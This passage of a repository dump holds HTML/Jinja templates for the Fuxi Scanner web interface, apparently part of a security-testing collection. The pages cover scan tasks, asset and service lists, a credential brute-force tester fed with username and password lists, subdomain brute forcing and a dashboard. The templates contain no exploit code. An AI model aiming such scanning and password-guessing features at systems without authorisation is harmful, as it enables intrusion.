-->\n\n                    <div class=\"modal fade\" id=\"newScan\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        New Scan\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"taskname_val\" placeholder=\"Task Name\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"space-6\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Recursion</label>\n                                            <div>\n                                                <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"recursion_val\">\n                                                    <option value=\"0\">Once</option>\n                                                    <option value=\"1\">Every day</option>\n                                                    <option value=\"7\">Every week</option>\n                                                    <option value=\"30\">Every month</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Plugins Select <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <select multiple=\"multiple\" size=\"6\" name=\"plugin_list\" title=\"Plugin Select\">\n                                                    {% for a in plugin_info %}\n                                                        <option value=\"{{ a['_id'] }}\">{{ a['plugin_name'] }}</option>\n                                                    {% endfor %}\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" rows=\"5\" id=\"scan_target_list\" title=\"Target\" name=\"target_val\" placeholder=\"Loading...\"></textarea>\n                                            </div>\n                                        </div>\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                            <button class=\"btn btn-primary \" id=\"asset-scan\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end -->\n                    <div class=\"modal fade\" id=\"newAuthtest\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        New Auth Tester\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" name=\"auth_task_name\" placeholder=\"Task Name\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Recursion</label>\n                                            <div>\n                                                <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"auth_recursion\">\n                                                    <option value=\"0\">Once</option>\n                                                    <option value=\"1\">Every day</option>\n                                                    <option value=\"7\">Every week</option>\n                                                    <option value=\"30\">Every month</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Args</label>\n                                            <div>\n                                                <input class=\"form-control\" name=\"auth_args\" title=\"Args\" placeholder=\"\"/>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"space-6\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Protocols Select <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <select multiple=\"multiple\" size=\"6\" name=\"auth_service_list\" title=\"Plugin Select\">\n                                                    {% for a in protocols %}\n                                                        <option value=\"{{ a }}\">{{ a | upper }}</option>\n                                                    {% endfor %}\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" rows=\"5\" id=\"auth_target_list\" title=\"Target\" name=\"auth_target_list\" placeholder=\"Loading...\"></textarea>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group row\">\n                                            <div class=\"col-md-6\">\n                                                <label class=\"control-label no-padding-right\">Username<span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <textarea class=\"form-control\" placeholder=\"One username per line\" rows=\"6\" name=\"auth_username_list\">{{ username_list }}</textarea>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <label class=\"control-label no-padding-right\">Password<span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <textarea class=\"form-control\" placeholder=\"One password per line\" rows=\"6\" name=\"auth_password_list\">{{ password_list }}</textarea>\n                                                </div>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                            <button class=\"btn btn-primary \" id=\"asset-auth-tasks\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end -->\n\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n\n    <script src=\"static/js/server/asset-management.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/asset-services.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n  <div class=\"app-title\">\n    <div>\n      <h1><i class=\"fa fa-th-list\"></i>&nbsp;Services List</h1>\n      <p></p>\n    </div>\n    <ul class=\"app-breadcrumb breadcrumb side\">\n      <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n      <li class=\"breadcrumb-item\">Home</li>\n      <li class=\"breadcrumb-item active\"><a href=\"#\">Services List</a></li>\n    </ul>\n  </div>\n  <div class=\"row\">\n    <div class=\"col-md-12\">\n      <div class=\"tile\">\n        <div class=\"tile-body\">\n            <div id=\"sampleTable_wrapper\" class=\"dataTables_wrapper container-fluid dt-bootstrap4 no-footer\">\n                <div class=\"row\"><div class=\"col-sm-12 col-md-6\">\n                    <div class=\"dataTables_length\" id=\"sampleTable_length\">\n                        <a class=\"btn btn-primary\" href=\"#\" onclick=\"newScan()\" role=\"button\" title=\"New Scan\" data-toggle=\"modal\" data-target=\"#newScan\">\n                            <i class=\"fa fa-gitlab fa-lg\"></i> New Scan</a>\n                        <br>\n                        <br>\n                    </div>\n                    <div class=\"modal fade\" id=\"newScan\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        New Scan\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"taskname_val\" placeholder=\"Task Name\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"space-6\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Recursion</label>\n                                            <div>\n                                                <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"recursion_val\">\n                                                    <option value=\"0\">Once</option>\n                                                    <option value=\"1\">Every day</option>\n                                                    <option value=\"7\">Every week</option>\n                                                    <option value=\"30\">Every month</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Plugin Select <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <select multiple=\"multiple\" size=\"6\" name=\"plugin_list\" title=\"Plugin Select\">\n                                                    {% for a in plugin_info %}\n                                                        <option value=\"{{ a['_id'] }}\">{{ a['plugin_name'] }}</option>\n                                                    {% endfor %}\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" rows=\"5\" id=\"scan_target_list\" title=\"Target\" name=\"target_val\" placeholder=\"Loading...\"></textarea>\n                                            </div>\n                                        </div>\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                            <button class=\"btn btn-primary \" id=\"server-scan\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end -->\n                </div>\n            </div>\n          <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n            <thead>\n              <tr class=\"text-center\">\n                  <th>\n                      <input title=\"checkbox_all\" onclick=\"selectAll()\" type=\"checkbox\" name=\"allSelect\" value=\"1\" />\n                  </th>\n                  <th>Host</th>\n                  <th>Port</th>\n                  <th>Server</th>\n                  <th>Version</th>\n                  <th>Asset</th>\n                  <th>Date</th>\n                  <th>Manage</th>\n              </tr>\n            </thead>\n            <tbody>\n            {% for i in server_data %}\n                <tr >\n                    <td class=\"text-center\">\n                        <input title=\"checkbox\" type=\"checkbox\" name='select_id' value=\"{{ i['_id'] }}\" />\n                    </td>\n                    <td><a onclick=\"server_info('{{ i['_id'] }}')\" role=\"button\" data-target=\"#serverInfo\" data-toggle=\"modal\" href=\"#\" title=\"Plugin Info\">{{ i['host'] }}</a></td>\n                    <td>{{ i['port'] }}</td>\n                    <td>{{ i['product'] }}</td>\n                    <td>{{ i['version'] }}</td>\n                    <td>{{ i['asset_name'] }}</td>\n                    <td>{{ i['date'] }}</td>\n                    <td class=\"text-center\">\n                        <div class=\"hidden-sm hidden-xs action-buttons\">\n                            <a onclick=\"server_info('{{ i['_id'] }}')\"  role=\"button\" data-target=\"#serverInfo\" data-toggle=\"modal\" href=\"#\" title=\"Plugin Info\">\n                                <i class=\"fa fa-search-plus\"></i>\n                            </a>\n                            &nbsp;\n                            &nbsp;\n                            &nbsp;\n                            <a  href=\"asset-services?delete={{ i['_id'] }}\" title=\"Delete\">\n                                <i class=\"fa fa-trash-o\"></i>\n                            </a>\n                        </div>\n                    </td>\n                </tr>\n            {% endfor %}\n            </tbody>\n          </table>\n            <div class=\"modal\" id=\"serverInfo\" >\n                <div class=\"modal-dialog\" role=\"document\">\n                    <div class=\"modal-content\">\n                        <div class=\"modal-header\">\n                            <h5 class=\"modal-title\">Server Info</h5>\n                            <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                        </div>\n                        <div class=\"modal-body\">\n                            <pre id=\"server_info\" title=\"Plugin Info\">Loading...</pre>\n                        </div>\n                        <div class=\"modal-footer\">\n                            <button class=\"btn btn-primary\" type=\"button\" data-dismiss=\"modal\">Close</button>\n                        </div>\n                    </div><!-- /.modal-content -->\n                </div><!-- /.modal-dialog -->\n            </div><!-- /.modal -->\n\n            </div>\n        </div>\n      </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n    <script src=\"static/js/server/asset-services-list.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/auth-tester-tasks.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Tasks Management</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Tasks Management</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                        <thead>\n                        <tr class=\"text-center\">\n                            <th>Name</th>\n                            <th>Service</th>\n                            <th>Recursion</th>\n                            <th>Status</th>\n                            <th>Count</th>\n                            <th>Date</th>\n                            <th>Manage</th>\n                        </tr>\n                        </thead>\n                        <tbody>\n                        {% for i in auth_tasks %}\n                            <tr class=\"text-center\">\n                                <td>\n                                    <a href=\"week-passwd-list?task={{ i['_id'] }}\">{{ i['task_name'] }}</a>\n                                </td>\n                                <td>{{ i['service'] | join(',') | truncate(15 , True) | upper}}</td>\n                                {% if i['recursion'] == 0 %}\n                                    <td>Once</td>\n                                {% elif i['recursion'] == 1 %}\n                                    <td>Every day</td>\n                                {% elif i['recursion'] == 7 %}\n                                    <td>Every week</td>\n                                {% elif i['recursion'] == 30 %}\n                                    <td>Every month</td>\n                                {% endif %}\n                                <td>{{ i['status'] }}</td>\n                                <td><span class=\"badge badge-primary\">{{ i['week_count'] }}</span></td>\n                                <td>{{ i['date'] }}</td>\n                                <td class=\"text-center\">\n                                    <a onclick=\"get_target_host('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"Target Info\" data-toggle=\"modal\" data-target=\"#targetInfo\">\n                                        <i class=\"fa fa-align-justify\"></i>\n                                    </a>\n                                    &nbsp;\n                                    &nbsp;\n                                    &nbsp;\n                                    <a onclick=\"rescan_task('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"Rescan\">\n                                        <i class=\"fa fa-refresh\"></i>\n                                    </a>\n                                    &nbsp;\n                                    &nbsp;\n                                    <a onclick=\"delete_task('{{ i['_id'] }}')\"  role=\"button\" href=\"#\" title=\"Delete\">\n                                        <i class=\"fa fa-trash-o\"></i>\n                                    </a>\n                                </td>\n                            </tr>\n                        {% endfor %}\n                        </tbody>\n                    </table>\n                    <div class=\"modal fade\" id=\"targetInfo\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /edit-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        Target Info\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n                                        <div class=\"form-group\">\n                                            <pre class=\"form-control\" id=\"target_info_data\">Loading...</pre>\n                                        </div>\n\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">\n                                                Cancel\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end -->\n\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n\n    <script src=\"static/js/server/auth-tester-tasks.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/base.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <title>Fuxi Scanner</title>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <!-- Main CSS-->\n    {% block css %}\n\n    {% endblock %}\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"static/css/main.css\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"static/css/font-awesome-4.7.0/css/font-awesome.css\">\n</head>\n<body class=\"app sidebar-mini rtl\">\n    <!-- Navbar-->\n    <header class=\"app-header\"><a class=\"app-header__logo\" href=\"index\">Fuxi Scanner</a>\n      <!-- Sidebar toggle button--><a class=\"app-sidebar__toggle\" href=\"#\" data-toggle=\"sidebar\" aria-label=\"Hide Sidebar\"></a>\n      <!-- Navbar Right Menu-->\n        <ul class=\"app-nav\">\n            <li class=\"app-search\">\n                <form method=\"post\" action=\"search\">\n                    <input class=\"app-search__input\" type=\"search\" name=\"search\" placeholder=\"Search\">\n                    <button class=\"app-search__button search_btn\" type=\"submit\"><i class=\"fa fa-search\"></i></button>\n                </form>\n            </li>\n        <!--Notification Menu-->\n            <li class=\"dropdown\"><a class=\"app-nav__item\" href=\"#\" data-toggle=\"dropdown\" aria-label=\"Show notifications\"><i class=\"fa fa-bell-o fa-lg\"></i></a>\n                <div id=\"notification_update\">\n\n                </div>\n            </li>\n\n            <!-- User Menu-->\n            <li class=\"dropdown\"><a class=\"app-nav__item\" href=\"#\" data-toggle=\"dropdown\" aria-label=\"Open Profile Menu\"><i class=\"fa fa-user fa-lg\"></i></a>\n                <ul class=\"dropdown-menu settings-menu dropdown-menu-right\">\n                    <li><a class=\"dropdown-item\" href=\"advanced-option\"><i class=\"fa fa-cog fa-lg\"></i> Settings</a></li>\n                    <li><a class=\"dropdown-item\" href=\"https://fuxi-scanner.com\" target=\"_blank\"><i class=\"fa fa-user fa-lg\"></i> About</a></li>\n                    <li><div class=\"dropdown-divider\"></div><a class=\"dropdown-item\" href=\"login-out\"><i class=\"fa fa-sign-out fa-lg\"></i> Logout</a></li>\n                </ul>\n\n            </li>\n        </ul>\n    </header>\n    <!-- Sidebar menu-->\n    <div class=\"app-sidebar__overlay\" data-toggle=\"sidebar\"></div>\n    <aside class=\"app-sidebar\">\n\n        <ul class=\"app-menu\">\n            <li>\n                <a class=\"app-menu__item\" href=\"dashboard\">\n                    <i class=\"app-menu__icon fa fa-line-chart\"></i>\n                    <span class=\"app-menu__label\">Dashboard</span>\n                </a>\n            </li>\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-bug\"></i>\n                    <span class=\"app-menu__label\">Vulnerability Scanner</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"new-scan\"><i class=\"icon fa fa-edit\"></i>New Scan</a></li>\n                    <li><a class=\"treeview-item\" href=\"task-management\"><i class=\"icon fa fa-indent\"></i>Tasks</a></li>\n                    <li><a class=\"treeview-item\" href=\"vulnerability\"><i class=\"icon fa fa-circle-o\"></i> Vulnerabilities</a></li>\n                    <li><a class=\"treeview-item\" href=\"plugin-management\"><i class=\"icon fa fa-gitlab\"></i> Plugins</a></li>\n                </ul>\n            </li>\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-calendar-minus-o\"></i>\n                    <span class=\"app-menu__label\">Asset Management</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"new-asset\"><i class=\"icon fa fa-edit\"></i>New Asset</a></li>\n                    <li><a class=\"treeview-item\" href=\"asset-management\"><i class=\"icon fa fa-indent\"></i>Asset</a></li>\n                    <li><a class=\"treeview-item\" href=\"asset-services\"><i class=\"icon fa fa-circle-o\"></i> Services</a></li>\n                </ul>\n            </li>\n\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-gavel\"></i>\n                    <span class=\"app-menu__label\">Authentication Tester</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"new-auth-tester\"><i class=\"icon fa fa-pencil\"></i>Add Scan</a></li>\n                    <li><a class=\"treeview-item\" href=\"auth-tester-tasks\"><i class=\"icon fa fa-indent\"></i>Tasks Management</a></li>\n                    <li><a class=\"treeview-item\" href=\"week-passwd-list\"><i class=\"icon fa fa-file-text\"></i>Week Passwd List</a></li>\n                </ul>\n            </li>\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-deviantart\"></i>\n                    <span class=\"app-menu__label\">Subdomain Brute</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"subdomain-brute\"><i class=\"icon fa fa-pencil\"></i>New Domain</a></li>\n                    <li><a class=\"treeview-item\" href=\"subdomain-list\"><i class=\"icon fa fa-indent\"></i>Result</a></li>\n                </ul>\n            </li>\n\n{#            <li class=\"treeview\">#}\n{#                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">#}\n{#                    <i class=\"app-menu__icon fa fa-crop\"></i>#}\n{#                    <span class=\"app-menu__label\">DirBuster</span>#}\n{#                    <i class=\"treeview-indicator fa fa-angle-right\"></i>#}\n{#                </a>#}\n{#                <ul class=\"treeview-menu\">#}\n{#                    <li><a class=\"treeview-item\" href=\"subdomain-brute\"><i class=\"icon fa fa-pencil\"></i>New Scan</a></li>#}\n{#                    <li><a class=\"treeview-item\" href=\"subdomain-list\"><i class=\"icon fa fa-indent\"></i>Result</a></li>#}\n{#                </ul>#}\n{#            </li>#}\n\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-heartbeat\"></i>\n                    <span class=\"app-menu__label\">Acunetix Scanner</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"acunetix-scanner\"><i class=\"icon fa fa-pencil\"></i>New Scanner</a></li>\n                    <li><a class=\"treeview-item\" href=\"acunetix-tasks\"><i class=\"icon fa fa-gear\"></i>Tasks Management</a></li>\n                </ul>\n            </li>\n\n            <li>\n                <a class=\"app-menu__item\" href=\"port-scanner\">\n                    <i class=\"app-menu__icon fa fa-eercast\"></i>\n                    <span class=\"app-menu__label\">Port Scanner</span>\n{#                    <i class=\"treeview-indicator fa fa-angle-right\"></i>#}\n                </a>\n            </li>\n\n            <li class=\"treeview\">\n                <a class=\"app-menu__item\" href=\"#\" data-toggle=\"treeview\">\n                    <i class=\"app-menu__icon fa fa-cogs\"></i>\n                    <span class=\"app-menu__label\">Settings</span>\n                    <i class=\"treeview-indicator fa fa-angle-right\"></i>\n                </a>\n                <ul class=\"treeview-menu\">\n                    <li><a class=\"treeview-item\" href=\"advanced-option\"><i class=\"icon fa fa-pencil\"></i>Advanced Options</a></li>\n{#                    <li><a class=\"treeview-item\" href=\"system-config\"><i class=\"icon fa fa-gear\"></i>System Config</a></li>#}\n                </ul>\n            </li>\n\n        </ul>\n    </aside>\n    {% block content %}\n\n    {% endblock %}\n\n\n    <script src=\"static/js/jquery/jquery-3.2.1.min.js\"></script>\n    <script src=\"static/js/popper.min.js\"></script>\n    <script src=\"static/js/bootstrap/bootstrap.min.js\"></script>\n    <script src=\"static/js/main.js\"></script>\n    <script src=\"static/js/plugins/pace.min.js\"></script>\n{#    <script src=\"static/js/server/update.js\"></script>#}\n    {% block js %}\n\n    {% endblock %}\n  </body>\n</html>"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/dashboard.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-dashboard\"></i> Dashboard</h1>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\"><a href=\"#\">Dashboard</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-6 col-lg-3\">\n            <div class=\"widget-small danger coloured-icon\">\n                <a href=\"vulnerability\" style=\"text-decoration:none;\">\n                    <i class=\"icon fa fa-bug fa-3x\"></i>\n                </a>\n                <div class=\"info\">\n                    <h4>Vulnerability</h4>\n                    <p><b>{{ dashboard_data['vul_count'] }}</b></p>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6 col-lg-3\">\n            <div class=\"widget-small info coloured-icon\">\n                <a href=\"plugin-management\" style=\"text-decoration:none;\">\n                    <i class=\"icon fa fa-gitlab fa-3x\"></i>\n                </a>\n                <div class=\"info\">\n                    <h4>Plugin</h4>\n                    <p><b>{{ dashboard_data['plugin_count'] }}</b></p>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6 col-lg-3\">\n            <div class=\"widget-small primary coloured-icon\">\n                <a href=\"week-passwd-list\" style=\"text-decoration:none;\">\n                    <i class=\"icon fa fa-gg fa-3x\"></i>\n                </a>\n                <div class=\"info\">\n                    <h4 >Week Password</h4>\n                    <p><b>{{ dashboard_data['week_passwd_count'] }}</b></p>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6 col-lg-3\">\n            <div class=\"widget-small warning coloured-icon\">\n                <a href=\"asset-services\" style=\"text-decoration:none;\">\n                    <i class=\"icon fa fa-snowflake-o fa-3x\"></i>\n                </a>\n                <div class=\"info\">\n                    <h4>Host</h4>\n                    <p><b>{{ dashboard_data['server_count'] }}</b></p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Vulnerability Trend</h3>\n                <div>\n                    <canvas class=\"embed-responsive-item\" id=\"vulTrend\"></canvas>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Top 10 Vulnerability</h3>\n                <div>\n                    <canvas class=\"embed-responsive-item\" id=\"vulStats\"></canvas>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Host Trend</h3>\n                <div>\n                    <canvas class=\"embed-responsive-item\" id=\"hostTrend\"></canvas>\n                </div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Week Password</h3>\n                <div>\n                    <canvas class=\"embed-responsive-item\" id=\"weekpasswordStats\"></canvas>\n                </div>\n            </div>\n        </div>\n    </div>\n\n{#    <div class=\"row\">#}\n{#        <div class=\"col-md-4\">#}\n{#            <div class=\"tile\">#}\n{#                <h3 class=\"tile-title\">Security Advisories</h3>#}\n{#                <div>#}\n{#                    <div id=\"360Rss\"></div>#}\n{#                </div>#}\n{#            </div>#}\n{#        </div>#}\n{##}\n{#        <div class=\"col-md-4\">#}\n{#            <div class=\"tile\">#}\n{#                <h3 class=\"tile-title\">Security News</h3>#}\n{#                <div>#}\n{#                    <div id=\"freebufRss\"></div>#}\n{#                </div>#}\n{#            </div>#}\n{#        </div>#}\n{##}\n{#        <div class=\"col-md-4\">#}\n{#            <div class=\"tile\">#}\n{#                <h3 class=\"tile-title\">Newest PoC</h3>#}\n{#                <div>#}\n{#                    <div id=\"seebugRss\"></div>#}\n{#                </div>#}\n{#            </div>#}\n{#        </div>#}\n{#    </div>#}\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/Chart.js\"></script>\n    <script src=\"static/js/plugins/FeedEk.js\"></script>\n\n    <script>\n        var vulStats = document.getElementById(\"vulStats\");\n        var vulTrend = document.getElementById(\"vulTrend\");\n        